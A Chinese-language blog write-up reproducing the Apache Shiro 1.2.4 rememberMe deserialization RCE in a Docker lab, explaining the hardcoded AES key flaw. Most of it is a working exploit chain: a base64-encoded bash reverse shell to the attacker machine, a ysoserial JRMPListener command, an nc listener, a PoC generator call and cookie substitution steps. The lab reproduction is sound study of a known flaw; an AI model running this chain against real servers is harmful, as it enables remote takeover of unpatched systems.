Shiro_1.2.4反序列化漏洞复现


一、漏洞概述

1、漏洞原因

Apache Shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值 -> Base64解码–>AES解密–>反序列化。然而AES的密钥是硬编码的(也就随系统固定的),就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。

2、影响版本

Apache Shiro <= 1.2.4

二、环境准备

1、环境搭建

获取docker镜像
docker pull medicean/vulapps:s_shiro_1
启动docker镜像
docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1

2、环境说明

攻击机kali:192.168.52.129
目标机centos7:192.168.52.128

三、漏洞利用

1、制作反弹shell payload

编码网站:http://www.jackson-t.ca/runtime-exec-payloads.html
编码以下payload:
bash -i >& /dev/tcp/192.168.52.129/1234 0>&1
编码后:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUyLjEyOS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}

2、kali使用ysoserial监听

使用kali需要在ysoserial.jar目录下使用ysoserial中JRMP监听模块,监听6666端口:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUyLjEyOS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}'
需要把单引号中的替换成编码后的反弹shell payload

3、监听反弹shell端口nc -lvnp 1234

4、生成pocpython shiro.py 192.168.52.129:6666

5、poc利用
(1)访问搭建好的环境

(2)先登录,勾选上rememberme,输入给好的账号密码,登录

(3)在首页访问,并且bp抓包

抓包后发现cookie中存在rememberme

只保留rememberme,并替换成生成的payload,其他删了
(4)JRMP监听到连接,并把反弹shell的payload发送过去

nc收到反弹的shell


文章作者: xi3w3n
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 xi3w3n !
评论
  目录